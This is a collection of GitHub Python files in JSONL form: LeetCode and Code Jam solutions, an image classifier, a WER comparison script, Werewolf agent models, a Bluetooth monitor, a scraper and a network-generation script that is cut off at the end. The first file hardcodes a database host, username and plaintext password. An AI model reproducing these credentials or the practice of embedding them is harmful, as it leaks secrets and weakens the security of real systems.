+{"seq_id":"37129544411","text":"import pymysql\nimport pymysql.cursors\n\n\nconn = pymysql.connect(\n host=\"172.16.56.100\",\n port=3918,\n user=\"siov\",\n password=\"9dX@g6UV65r!8\",\n db=\"bidongv2\",\n charset=\"utf8\",\n cursorclass=pymysql.cursors.DictCursor\n)\n\n\ndef query(conn, sql):\n try:\n with conn.cursor() as cursor:\n cursor.execute(sql)\n rvs = cursor.fetchall()\n return rvs\n except Exception as err:\n print(err)\n finally:\n cursor.close()\n\n\ndef execute(conn, sql):\n try:\n with conn.cursor() as cursor:\n rv = cursor.execute(sql)\n return rv\n except Exception as err:\n print(err)\n finally:\n cursor.close()\n\n\ndef dump_user_agent():\n sql = \"SELECT platform FROM bd_mac_history;\"\n rvs = query(conn, sql)\n with open(\"user-agent.txt\", \"w\") as writer:\n for r in rvs:\n ua = r[\"platform\"].split(\"&&\")[0] + \"\\n\"\n writer.write(ua)\n\n\ndump_user_agent()\n","repo_name":"wongxinjie/python-snippets","sub_path":"pymysqlutils.py","file_name":"pymysqlutils.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35862613471","text":"class Solution:\n def getAllElements(self, root1: TreeNode, root2: TreeNode) -> List[int]:\n numbers = []\n\n def bfs(node):\n if not node:\n return\n numbers.append(node.val)\n bfs(node.left)\n bfs(node.right)\n\n bfs(root1)\n bfs(root2)\n return sorted(numbers)\n","repo_name":"pbelskiy/contest","sub_path":"leetcode.com/1305_all_elements_in_two_binary_search_trees/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16346685049","text":"\nimport numpy as np\nimport skimage.io as io\n\nfrom skimage.filters import sobel_h, sobel_v\nfrom skimage.transform import resize\n\nfrom sklearn.svm import LinearSVC\nfrom itertools import product\n\n\ndef get_grads(img, rotate=0):\n weights = np.array([0.299, 0.587, 0.114])\n brightness = img @ weights\n grad_y = sobel_h(brightness)\n grad_x = sobel_v(brightness)\n grad_norms = np.sqrt(grad_y ** 2 + grad_x ** 2)\n grad_angles = np.arctan2(grad_y, grad_x) + rotate\n grad_angles -= (grad_angles > np.pi) * (2 * np.pi)\n return grad_norms, grad_angles\n\n\ndef make_hist(grad_norms, grad_angles, bins):\n limits = np.linspace(-np.pi, np.pi, bins + 1).reshape(bins + 1, 1, 1)\n return np.sum(((grad_angles >= limits[:-1]) & (grad_angles < limits[1:])) * grad_norms, axis=(1, 2))\n\n\ndef build_cells(grad_norms, grad_angles, cell_shape=(8, 8), bins=8):\n hists = np.empty([*np.array(grad_norms.shape) // cell_shape, bins])\n cell_slice = lambda i, ax: slice(cell_shape[ax] * i, cell_shape[ax] * (i + 1))\n for i, j in product(range(hists.shape[0]), range(hists.shape[1])):\n hists[i, j] = make_hist(\n grad_norms[cell_slice(i, 0), cell_slice(j, 1)], \n grad_angles[cell_slice(i, 0), cell_slice(j, 1)],\n bins,\n )\n return hists\n\n\ndef build_blocks(cells, block_shape=(4, 4), step=None):\n if step is None:\n step = block_shape\n result_shape = (np.array(cells.shape[:2]) - block_shape) // step + 1\n result = np.empty([*result_shape, np.prod(block_shape) * cells.shape[-1]])\n for i, j in product(range(result.shape[0]), range(result.shape[1])):\n result[i, j] = cells[\n i * step[0]: i * step[0] + block_shape[0], \n j * step[1]: j * step[1] + block_shape[0]\n ].reshape(-1)\n result[i, j] /= np.sqrt((result[i, j] ** 2).sum() + 1e-5)\n return result.reshape(-1)\n\n\ndef extract_hog(image):\n image = resize(image, (64, 64))\n grad_norms, grad_angles = get_grads(image, rotate=np.pi / 8)\n cells = build_cells(grad_norms, grad_angles, cell_shape=(8, 8))\n return build_blocks(cells, block_shape=(2, 2), step=(1, 1))\n\n\ndef fit_and_classify(X_train, y_train, X_test):\n model = LinearSVC(C=0.09)\n model.fit(X_train, y_train)\n return model.predict(X_test)\n","repo_name":"andnlv/computer-vision","sub_path":"3-signs/fit_and_classify.py","file_name":"fit_and_classify.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21225825946","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\ndef joinWord(word:str,dict:list,res=[]):\n \"\"\"\n \n 根据字典,从一个抹去空格的字符串里面提取出全部单词组合,并且拼接成正常的句子:\n 例如: 输入一个字符串:\"thisisanexample\", 程序输出: \"this is an example\" \n word:字符串\n dict:字典\n res:结果输出\n\n \"\"\"\n \n res = res[:]\n start = 0\n \n for end in range(start,len(word)):\n if word[start:end + 1] in dict:\n res.append(word[start:end + 1])\n start = end + 1\n\n print(res)\n\nwordDict = ['this','is','an','example']\nwordStr = 'thisisanexample'\n\njoinWord(wordStr,wordDict)\n","repo_name":"magedus/python-11","sub_path":"chenguowen/week11/word.py","file_name":"word.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"71258727236","text":"#!/usr/bin/env python3\nimport sys\nfrom pprint import pprint\nfrom collections import Counter\n\nSHOW_CORRECT_LINES = True\n\n# from nltk.stem.wordnet import WordNetLemmatizer\n# lemmatizer = WordNetLemmatizer()\n# lemmatize = lemmatizer.lemmatize\n\nFILTER_BY_CORPUS = True\nif FILTER_BY_CORPUS:\n X = 500\nelse: \n X = 800\n\ntop5000words = open('/home/jwerner/uni/bachelor/bin/top5000.txt').read().split('\\n')[:-1]\ntopXwords=top5000words[:X]\n\n\ndef in_(w, corpus):\n # TODO: get nltk installed again\n # return lemmatize(w) in corpus\n return w in corpus or w + 's' in corpus\n\ndef percent(a,b):\n return '{}/{} = {:.0%}'.format(a, b, a/b)\n # return '{}/{}'.format(a, b)\n\ndef format_word(word, count, corpus):\n corpus_ = corpus if FILTER_BY_CORPUS else topXwords\n # if we filter by corpus, the class topword should be applied\n # if the word isn't in the corpus\n # if we filter by topword it is the other way round\n bool = not FILTER_BY_CORPUS\n\n\n return '({}, {})'.format(word, count) if in_(word, corpus_) == bool else '({}, {})'.format(word, count)\n\ndef format_as_bag(words, corpus):\n # print(''.format(Counter(words).most_common())\n formatted_words = [format_word(w, count, corpus) for w, count in Counter(words).most_common()]\n return ' '.join(formatted_words)\n\ndef filter_out_INS(result):\n return [l for l in result\n if '|' in l and l.split(' | ')[0] != 'INS']\n\ndef compare(wer_result1, wer_result2, name1, name2, template, corpus_without_top_words):\n if FILTER_BY_CORPUS:\n corpus = corpus_without_top_words\n else:\n corpus = topXwords\n # print ('HYP1: {}'.format(fname1))\n # print ('HYP2: {}'.format(fname2))\n\n summary1 = wer_result1[-1]\n summary2 = wer_result2[-1]\n wer_result1 = filter_out_INS(wer_result1)[1:]\n wer_result2 = filter_out_INS(wer_result2)[1:]\n\n out = []\n\n out.append('
{name} (0x{code})
')\n out.append('')\n out.append('')\n out.append('')\n\n worsened = 0\n worsened_words = []\n improved = 0\n improved_words = []\n reference_words = []\n\n for line1, line2 in zip(wer_result1, wer_result2):\n try:\n op, ref, hyp1 = line1.split(' | ');\n _, _, hyp2 = line2.split(' | ');\n hyp1 = hyp1.replace('*', '.')\n hyp2 = hyp2.replace('*', '.')\n hyp1_class = 'correct' if hyp1 == ref else 'false'\n hyp2_class = 'correct' if hyp2 == ref else 'false'\n\n # leave out lines where both results are correct if\n # the flag is set\n if not SHOW_CORRECT_LINES and hyp1_class == 'correct' and hyp2_class == 'correct': continue\n\n tr_class = 'interesting' if hyp1_class != hyp2_class else ''\n if hyp1_class == 'correct' and hyp2_class == 'false':\n tr_class += ' worsened'\n worsened += 1\n worsened_words.append(hyp1)\n elif hyp1_class == 'false' and hyp2_class == 'correct':\n tr_class += ' improved'\n improved += 1\n improved_words.append(hyp2)\n ref = ref.replace('*', '.')\n reference_words.append(ref)\n prefix = '# ' if hyp1 != hyp2 else ' '\n out.append(''.format(tr_class))\n out.append(''.format('', ref))\n out.append(''.format(hyp1_class, hyp1))\n out.append(''.format(hyp2_class, hyp2))\n out.append('')\n except ValueError: # last line\n pass\n\n out.append('
' + ''.join(['Reference', name1, name2]) + '
{}{}{}
')\n # this has nothing to do with good code\n # anyway. :)\n\n # TODO: percentage should be calc'd differently\n # -> in relation to all interesting words.\n\n if FILTER_BY_CORPUS:\n interesting_words = [w for w in reference_words \n if w in corpus]\n\n worsened_words_top = [w for w in worsened_words \n if not in_(w, corpus)]\n worsened_words_interesting = [w for w in worsened_words \n if in_(w, corpus)]\n improved_words_top = [w for w in improved_words \n if not in_(w, corpus)]\n improved_words_interesting = [w for w in improved_words \n if in_(w, corpus)]\n else:\n interesting_words = [w for w in reference_words \n if w not in corpus]\n worsened_words_top = [w for w in worsened_words \n if in_(w, corpus)]\n worsened_words_interesting = [w for w in worsened_words \n if not in_(w, corpus)]\n improved_words_top = [w for w in improved_words \n if in_(w, corpus)]\n improved_words_interesting = [w for w in improved_words \n if not in_(w, corpus)]\n\n # worsened_words_sorted = \\\n # worsened_words_top + worsened_words_interesting\n # improved_words_sorted = \\\n # improved_words_top + improved_words_interesting\n\n formatted_worsened_words_top = format_as_bag(worsened_words_top, corpus)\n formatted_worsened_words_not_top = format_as_bag(worsened_words_interesting, corpus)\n\n formatted_improved_words_top = format_as_bag(improved_words_top, corpus)\n formatted_improved_words_not_top = format_as_bag(improved_words_interesting, corpus)\n\n out.append('

Worsened: {}; Improved: {}

'.format(\n worsened, improved))\n out.append('

Overall words: {}; Interesting words: {}

'.format(len(reference_words), len(interesting_words)))\n\n explanation = 'Interesting words: not in topX of the most common words. X = {}'.format(X) if not FILTER_BY_CORPUS else 'Interesting words: in corpus'\n out.append('

{}

'.format(explanation))\n out.append('''\n
\n

\n Worsened Words ({}) ({} are interesting; {} interesting words worsened):\n

\n\n

{}

\n
\n

{}

\n
\n

\n Improved Words ({}) ({} are interesting; {} interesting words improved): \n

\n

{}

\n
\n

{}

\n '''.format(\n percent(len(worsened_words), len(reference_words)),\n percent(len(worsened_words_interesting), len(worsened_words)),\n percent(len(worsened_words_interesting), len(interesting_words)),\n formatted_worsened_words_top,\n formatted_worsened_words_not_top,\n\n percent(len(improved_words), len(reference_words)),\n percent(len(improved_words_interesting), len(improved_words)),\n percent(len(improved_words_interesting), len(interesting_words)),\n formatted_improved_words_top,\n formatted_improved_words_not_top\n )\n )\n\n out.append('

{}: {}

'.format(name1, summary1))\n out.append('

{}: {}

'.format(name2, summary2))\n print(template.format('\\n'.join(out)))\n\ndef main_():\n args = sys.argv[1:]\n wer_result1 = open(args[0]).read().split('\\n')[:-1]\n wer_result2 = open(args[1]).read().split('\\n')[:-1]\n name1 = args[2] # for table headers\n name2 = args[3] # ...\n corpus = open(args[4]).read().split()[:-1]\n corpus_without_top_words = \\\n [w for w in corpus if w not in topXwords]\n template = open('/home/jwerner/uni/bachelor/bin/compare-wer/template.html').read()\n compare(wer_result1, wer_result2, name1, name2, template, corpus_without_top_words)\n\nmain_()\n","repo_name":"danieldh100/bachelor-bin","sub_path":"compare-wer.py","file_name":"compare-wer.py","file_ext":"py","file_size_in_byte":7520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23549109001","text":"import sys\n\n\n#cin = open('input.txt', 'r')\n#cin = open('A-small-attempt0.in', 'r')\ncin = open('A-large.in', 'r')\n#cin = sys.stdin\ncout = open('output.txt', 'w')\n#cout = sys.stdout\n\ncurrent_str_iter = None\n\n\ndef next_token():\n global current_str_iter\n\n while True:\n if current_str_iter is not None:\n token = next(current_str_iter, None)\n if token is not None:\n return token\n\n current_str_iter = iter(cin.readline().split())\n\n\ndef next_int():\n return int(next_token())\n\n\ndef solve(a, k):\n for i in range(len(a)):\n a[i] = a[i] == '+'\n\n flips = 0\n\n for i in range(len(a) - k + 1):\n if not a[i]:\n flips += 1\n\n for j in range(i, i + k):\n a[j] = not a[j]\n\n for pancake in a:\n if not pancake:\n return 'IMPOSSIBLE'\n\n return flips\n\n\n\ndef main():\n testcases = next_int()\n\n for tc in range(1, testcases + 1):\n a = list(next_token())\n k = next_int()\n\n result = solve(a, k)\n\n cout.write('Case #%i: %s\\n' % (tc, str(result)))\n\n\nif __name__ == '__main__':\n main()","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/736.py","file_name":"736.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36432301663","text":"from collections import namedtuple\nfrom agents.logger import Logger\n\nMessageHostility = namedtuple(\"MessageHostility\", \"message hostility\")\n\nMessageFondness = namedtuple(\"MessageFondness\", \"message fondness\")\n\nHOSTILITY_DISCOUNT_FACTOR = 0.9\n\nFONDNESS_DISCOUNT_FACTOR = 0.9\n\n\nclass Cooperator(object):\n \"\"\"\n Defines a cooperator that we have throughout the game. This is defined by several events that we find\n throughout the game. Examples are:\n 1. This agent required to bodyguard to guard this agent.\n 2. The agent shows agreement based on talk number from the past.\n\n Same as an enemy there are levels of cooperation which we will call fondness. For example an agreement doesn't\n show the same level of fondness as requesting everyone to agree with a given statement.\n \"\"\"\n\n def __init__(self, index, history, initial_fondness = 0.0):\n self.index = index\n self._fondness_history = history\n self._was_updated = False\n self._total_fondness = initial_fondness\n self._initial_fondness = initial_fondness\n\n def update_fondness(self, fondness, message):\n message_fondness = MessageFondness(message, fondness)\n return self.update(message_fondness)\n\n def update(self, message_fondness):\n \"\"\"\n We only apply discounting for messages coming from the players.\n If we update ht\n :param message_fondness:\n :return:\n \"\"\"\n\n if message_fondness.message.day in self._fondness_history.keys():\n self._fondness_history[message_fondness.message.day].append(message_fondness)\n else:\n self._fondness_history[message_fondness.message.day] = [message_fondness]\n self._was_updated = True\n return self\n\n def has_message_fondness(self, message_fondness):\n \"\"\"\n Given a message fondness check if we have it in our history.\n :param message_fondness:\n :return:\n \"\"\"\n message = message_fondness.message\n if message.day in self._fondness_history.keys():\n for curr_fondness in self._fondness_history[message_fondness.message.day]:\n curr_message = curr_fondness.message\n\n if message.type == curr_message.type and message.subject == curr_message.subject \\\n and message.target == curr_message.target:\n return True\n\n return False\n\n\n def merge_cooperators(self, cooperator):\n \"\"\"\n Merge two cooperators objects of agent with the same index to a cooperator object\n with merged history and discounted sum of fondness values.\n :return:\n \"\"\"\n if self.index != cooperator.index:\n raise Exception(\"Can't merge enemies with different indices: \" + str(self.index) + \" and \" + str(cooperator.index))\n\n for messages in cooperator.get_history().values():\n for message_fondness in messages:\n if not self.has_message_fondness(message_fondness):\n self.update(message_fondness)\n\n def get_history(self):\n return self._fondness_history\n\n def get_fondness(self, current_day):\n if not self._was_updated:\n return self._total_fondness\n else:\n self._total_fondness = self._initial_fondness\n for day, messages_fondness in self._fondness_history.items():\n distance = current_day - day\n for message_fondness in messages_fondness:\n self._total_fondness += pow(FONDNESS_DISCOUNT_FACTOR, distance) * message_fondness.fondness\n self._was_updated = False\n return self._total_fondness\n\n def __eq__(self, other):\n return self.index == other.index\n\n def convert_to_enemy(self):\n hostility_history = {}\n for day in self._fondness_history.keys():\n hostility_history[day] = []\n for message_fondness in self._fondness_history[day]:\n hostility_history[day].append(MessageHostility(message_fondness.message, -message_fondness.fondness))\n return Enemy(self.index, hostility_history)\n\n def __str__(self):\n return \"Cooperator index: \" + str(self.index) + \" total fondness \" + str(self._total_fondness)\n\n\n\nclass Enemy(object):\n \"\"\"\n Represent non-cooperators of this player, if there is no cooperation we will hold the index of the\n non-cooperator and the type of the message that was used to create this enemy,\n An enemy can be created using the following examples:\n 1. He blamed the target to be a werewolf or possessed.\n 2. He voted against him.\n 3. He told people to vote against him.\n etc.\n We will put certain weights of the hostility of this agent towards the enemy because there are certain levels to\n it.\n The hostility level will be discounted based on the number of days that have passed since it was last seen.\n \"\"\"\n\n def __init__(self, index, history, initial_hostility = 0.0):\n self.index = index\n self._hostility_history = history\n self._initial_hostility = initial_hostility\n self._total_hostility = initial_hostility\n self._was_updated = False\n\n def update_hostility(self, hostility, message):\n message_hostility = MessageHostility(message, hostility)\n return self.update(message_hostility)\n\n def update(self, message_hostility):\n if message_hostility.message.day in self._hostility_history.keys():\n self._hostility_history[message_hostility.message.day].append(message_hostility)\n else:\n self._hostility_history[message_hostility.message.day] = [message_hostility]\n\n self._was_updated = True\n return self\n\n def get_hostility(self, current_day):\n \"\"\"\n Compute the total hostility based on a discounted sum.\n :return:\n \"\"\"\n if not self._was_updated:\n return self._total_hostility\n else:\n self._total_hostility = self._initial_hostility\n for day, message_hostilities in self._hostility_history.items():\n distance = current_day - day\n for message_hostility in message_hostilities:\n self._total_hostility += pow(HOSTILITY_DISCOUNT_FACTOR, distance) * message_hostility.hostility\n self._was_updated = False\n return self._total_hostility\n\n def has_message_hostility(self, message_hostility):\n \"\"\"\n Given a message hostility check if we have it in our history.\n :param message_hostility:\n :return:\n \"\"\"\n message = message_hostility.message\n if message.day in self._hostility_history.keys():\n for curr_hostility in self._hostility_history[message_hostility.message.day]:\n curr_message = curr_hostility.message\n\n if message.type == curr_message.type and message.subject == curr_message.subject \\\n and message.target == curr_message.target:\n return True\n\n return False\n\n def get_history(self):\n return self._hostility_history\n\n def merge_enemies(self, enemy):\n \"\"\"\n Merge two Enemy objects of agent with the same index to an enemy object\n with merged history and discounted sum of hostility values.\n :return:\n \"\"\"\n if self.index != enemy.index:\n raise Exception(\"Can't merge enemies with different indices: \" + str(self.index) + \" and \" + str(enemy.index))\n\n\n for message_hostilities in enemy.get_history().values():\n for message_hostility in message_hostilities:\n if not self.has_message_hostility(message_hostility):\n self.update(message_hostility)\n\n def convert_to_cooperator(self):\n \"\"\"\n Change the sign of each value of hostility in the history and return a cooperator\n with the given history.\n :return:\n \"\"\"\n fondness_history = {}\n for day in self._hostility_history.keys():\n fondness_history[day] = []\n for message_hostility in self._hostility_history[day]:\n fondness_history[day].append(MessageFondness(message_hostility.message, -message_hostility.hostility))\n return Cooperator(self.index, fondness_history)\n\n def scale(self, factor):\n \"\"\"\n Scale all value of hostility of the player by a given factor.\n :param factor:\n :return:\n \"\"\"\n for day, message_hostilities in self._hostility_history.items():\n for message_hostility in message_hostilities:\n message_hostility._replace(hostility=message_hostility.hostility * factor)\n self._was_updated = True\n return self\n\n\n def __eq__(self, other):\n return self.index == other.index\n\n def __str__(self):\n return \"Enemy index: \" + str(self.index) + \" total hostility \" + str(self._total_hostility) + \" HISTORY: \" + \\\n str(self._hostility_history)\n","repo_name":"LiorMoshe/Werewolf-Anac19","sub_path":"agents/information_processing/dissection/player_representation.py","file_name":"player_representation.py","file_ext":"py","file_size_in_byte":9027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35702862440","text":"#!/usr/bin/python\nimport os\nimport sys\nimport signal\nimport logging\nimport logging.handlers\nimport dbus\nimport dbus.service\nimport dbus.mainloop.glib\nfrom gi.repository import GObject, GLib\n\nLOG_LEVEL = logging.INFO\n#LOG_LEVEL = logging.DEBUG\nLOG_FILE = \"/dev/log\"\nLOG_FORMAT = \"%(asctime)s %(levelname)s %(message)s\"\nBLUEZ_DEV = \"org.bluez.Device1\"\nisPaired = 0\n\ndef device_property_changed_cb(property_name, value, path, interface, device_path):\n global bus\n if property_name != BLUEZ_DEV:\n return\n\n device = dbus.Interface(bus.get_object(\"org.bluez\", device_path), \"org.freedesktop.DBus.Properties\")\n properties = device.GetAll(BLUEZ_DEV)\n\n #logger.info(\"Getting dbus interface for device: %s interface: %s property_name: %s\" % (device_path, interface, property_name))\n if properties[\"Connected\"]:\n bt_addr = \"_\".join(device_path.split('/')[-1].split('_')[1:])\n if bt_addr == \"F8_87_F1_DB_B7_D9\":\n cmd = \"./playNolanPaired\"\n else:\n cmd = \"./playOtherPhonePaired\"\n else:\n bt_addr = \"_\".join(device_path.split('/')[-1].split('_')[1:])\n if bt_addr == \"F8_87_F1_DB_B7_D9\":\n cmd = \"./playNolanDisconnected\"\n else:\n cmd = \"./playWaiting\"\n\n logger.info(\"Device: %s has disconnected\" % bt_addr)\n# cmd = \"for i in $(pactl list short modules | grep module-loopback | grep source=bluez_source.%s | cut -f 1); do pactl unload-module $i; done\" % bt_addr\n# logger.info(\"Running cmd: %s\" % cmd)\n# os.system(cmd)\n os.system(cmd)\n\ndef shutdown(signum, frame):\n mainloop.quit()\n\nif __name__ == \"__main__\":\n # shut down on a TERM signal\n signal.signal(signal.SIGTERM, shutdown)\n\n # start logging\n logger = logging.getLogger(\"bt_auto_loader\")\n logger.setLevel(LOG_LEVEL)\n logger.addHandler(logging.handlers.SysLogHandler(address = \"/dev/log\"))\n logger.info(\"Starting to monitor Bluetooth connections\")\n\n # Get the system bus\n try:\n dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)\n bus = dbus.SystemBus()\n except Exception as ex:\n logger.error(\"Unable to get the system dbus: '{0}'. Exiting. Is dbus running?\".format(ex.message))\n sys.exit(1)\n\n # listen for signals on the Bluez bus\n bus.add_signal_receiver(device_property_changed_cb, bus_name=\"org.bluez\", signal_name=\"PropertiesChanged\", path_keyword=\"device_path\", interface_keyword=\"interface\")\n\n try:\n mainloop = GLib.MainLoop.new(None, False)\n mainloop.run()\n except KeyboardInterrupt:\n pass\n except:\n logger.error(\"Unable to run the gobject main loop\")\n sys.exit(1)\n\n logger.info(\"Shutting down\")\n sys.exit(0)\n# SERVICE_NAME = \"org.bluez\"\n# OBJECT_IFACE = \"org.freedesktop.DBus.ObjectManager\"\n# ADAPTER_IFACE = SERVICE_NAME + \".Adapter1\"\n# DEVICE_IFACE = SERVICE_NAME + \".Device1\"\n# PROPERTIES_IFACE = \"org.freedesktop.DBus.Properties\"\n# adap = \"\"\n# bus = dbus.SystemBus()\n# manager = dbus.Interface(bus.get_object(\"org.bluez\", \"/\"), \"org.freedesktop.DBus.ObjectManager\")\n# objects = manager.GetManagedObjects()\n# for path, ifaces in objects.items():\n# adapter = ifaces.get(ADAPTER_IFACE)\n# if adapter is None:\n# continue\n# obj = bus.get_object(SERVICE_NAME, path)\n# adap = dbus.Interface(obj, ADAPTER_IFACE)\n#\n# def cb(iface=None, mbr=None, path=None):\n#\n# print(iface)\n# if (\"org.bluez\" == iface and path.find(DEV_ID) > -1):\n# print('iface: %s' % iface)\n# print('mbr: %s' % mbr)\n# print('path: %s' % path)\n# print(\"\\n\")\n# print(\"matched\")\n#\n# if mbr == \"Connected\":\n# subprocess.call([\"playNolanPaired\"])\n# print('conn')\n#\n# elif mbr == \"Disconnected\":\n# subprocess.call([\"playNolanDisconnected\"])\n# print('dconn')\n#\n# adap.connect_to_signal(\"Connected\", cb, interface_keyword='iface', member_keyword='mbr', path_keyword='path')\n# adap.connect_to_signal(\"Disconnected\", cb, interface_keyword='iface', member_keyword='mbr', path_keyword='path')\n#\n# loop = gobject.MainLoop()\n# loop.run()\n","repo_name":"nolandonley14/JASMINE","sub_path":"jas2/bluetoothClient.py","file_name":"bluetoothClient.py","file_ext":"py","file_size_in_byte":4134,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40631184596","text":"# encoding: utf-8\n# author: Alan-learner\n\nfrom Platform.Leetcode.Libs import *\n\n\nclass Solution:\n def twoSum(self, numbers: List[int], target: int) -> List[int]:\n # 数组已经有序,可以利用其性质,及时弹出无用数据\n left = 0\n right = len(numbers) - 1\n s = numbers[left] + numbers[right]\n while s != target:\n if s > target:\n right -= 1\n else:\n left += 1\n s = numbers[left] + numbers[right]\n return [left + 1, right + 1]\n\n\ndef main():\n s = Solution()\n res = s\n print(res)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alan-learner/Algorithm","sub_path":"Algorithm/double_pointer/different_direction/lc-167-two_sum.py","file_name":"lc-167-two_sum.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38999454807","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\r\nimport sys\r\n\r\n\r\ndef compare_version(version1, version2):\r\n \"\"\"\r\n 检查版本号是否相同,当前版本小于期望版本则进行升级,大于等于则忽略。\r\n 如果 version1 > version2 返回 1,如果 version1 < version2 返回 -1, 除此之外返回 0。\r\n :param version1: 当前系统存在的版本号\r\n :param version2: 需要比较的版本号\r\n :return: 0 or 1\r\n \"\"\"\r\n # 如果两者一样就直接返回0\r\n if version2 == version1:\r\n return 0\r\n\r\n # 切割成列表\r\n version1_ls = version1.split(\".\")\r\n version2_ls = version2.split(\".\")\r\n\r\n \"\"\"\r\n 为了避免版本号长度不同比如 1.0.8和1.2 我们把版本号要补全都变成相同长度,比如 1.2.0 这样比较的时候循环次数相同\r\n \"\"\"\r\n if len(version1_ls) >= len(version2_ls):\r\n amount = len(version1_ls) - len(version2_ls)\r\n for i in range(amount):\r\n version2_ls.append(\"0\")\r\n else:\r\n amount = len(version2_ls) - len(version1_ls)\r\n for i in range(amount):\r\n version1_ls.append(\"0\")\r\n\r\n \"\"\"\r\n 逐位比较版本大小\r\n \"\"\"\r\n for i in range(len(version1_ls)):\r\n try:\r\n if len(version1_ls[i]) == len(version2_ls[i]):\r\n if int(version1_ls[i]) > int(version2_ls[i]):\r\n return 1\r\n elif int(version1_ls[i]) < int(version2_ls[i]):\r\n return -1\r\n else:\r\n return 0\r\n except IndexError as err:\r\n return err\r\n return 0\r\n\r\n\r\ndef main():\r\n print(compare_version(\"0.1\", \"1.1\")) # 输出: -1\r\n print(compare_version(\"1.0.1\", \"1\")) # 输出: 1\r\n print(compare_version(\"7.5.2.4\", \"7.5.3\")) # 输出: -1\r\n print(compare_version(\"1.0.1\", \"1.001\")) # 输出:0\r\n print(compare_version(\"1.0\", \"1.00\")) # 输出:0\r\n\r\n\r\nif __name__ == \"__main__\":\r\n try:\r\n main()\r\n finally:\r\n sys.exit()\r\n","repo_name":"fuyi12321/ranking_list","sub_path":"版本号对比/VersionCompare/VersionCompare.py","file_name":"VersionCompare.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10813126396","text":"import requests\nimport re # 正则表达式\nfrom bs4 import BeautifulSoup\nimport bs4\n\ndef getSoup(url):\n try:\n hd ={\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36\"}\n r=requests.get(url, headers = hd)\n r.raise_for_status # 如果状态不是200,引发HTTPError\n r.encoding = r.apparent_encoding\n soup = BeautifulSoup(r.text,\"html.parser\")\n return soup\n except :\n return \"产生异常\"\n\ndef fillUnivList(ulist, soap):\n for tr in soup.find(\"tbody\").children:\n if isinstance(tr,bs4.element.Tag):\n tds = tr(\"td\")\n ulist.append([tds[0].string,tds[1].string,tds[4].string])\n\ndef printUnivList(ulist, num):\n\n tplt = \"{0:<10}\\t{1:<15}\\t{2:<10}\"\n print(tplt.format(\"排名\",\"学校名称\",\"总分\"))\n for i in range(num):\n u=ulist[i]\n print(tplt.format(u[0],u[1],u[2]))\nif __name__ ==\"__main__\":\n uList =[]\n url =\"http://www.zuihaodaxue.com/zuihaodaxuepaiming-zongbang-2020.html\"\n soup = getSoup(url)\n fillUnivList(uList,soup)\n printUnivList(uList,20)\n","repo_name":"rickyguyu/pythonConceptStudyProject","sub_path":"大学排名.py","file_name":"大学排名.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17493340529","text":"#we will need some things from several places\nfrom __future__ import division, absolute_import, print_function\nimport sys\nif sys.version_info < (3,):\n range = xrange\nimport os\nfrom pylab import * #for plotting\nfrom numpy.random import * #for random sampling\nseed(42)\n\n# we need to import the graph_tool module itself\nfrom graph_tool.all import *\n\n#begin to construct a price network ( the one that exists before Barabasi). It is \n# a directed network., with preferential attachment. The algorithm below is very naive, and a bit slow, but quite simple.\n\n####Initialization\n #we start with an empty, directed graph\n\ng=Graph()\n\n # we want also to keep the age information for each vertex and edge. For that\n #Let's create some property maps\nv_age = g.new_vertex_property(\"int\")\ne_age = g.new_edge_property(\"int\")\n\n #the final size of the network\nN = 100000\n\n #we have to start with one vertex\nv = g.add_vertex()\nv_age[v] = 0\n\n #we will keep a list of the vertices. The number of times is in this list will give the probability of it being selected\nvlist = [v]\n#########\n\n#let's now add the new edges and vertices\nfor i in range(1,N):\n #create new vertex\n v = g.add_vertex()\n v_age[v] = i\n \n #we need to sample a new vertex to be the target, based on its in-degree +1 \n #For that, we simply randomly sample it from vlist\n i = randint(0,len(vlist))\n target = vlist[i]\n\n #add edge\n e = g.add_edge(v,target)\n e_age[e] = i\n\n #put v and target in the list\n vlist.append(target)\n vlist.append(v)\n################\n\n#########let's do a random walk on the graph and print the adge of the vertices we find, just for fun\nv=g.vertex(randint(0,g.num_vertices()))\nwhile True:\n print(\"vertex:\",int(v),\"in-degree:\",v.in_degree(), \"out-degree:\",v.out_degree(),\"age:\",v_age[v])\n\n if v.out_degree() == 0:\n print(\"Nowwhere else to go... we found the main hub!\")\n break\n\n n_list = []\n for w in v.out_neighbors():\n n_list.append(w)\n v = n_list[randint(0,len(n_list))]\n\n#let's save our graph for posterity. we want to save the age properties as well...\n# To do this, they must become \"internal\" properties:\ng.vertex_properties[\"age\"] = v_age\ng.edge_properties[\"age\"] = e_age\n\n# now save it\ng.save(\"price.xml.gz\")\n\n\n#lets's plot its in-degree distribution\nin_hist = 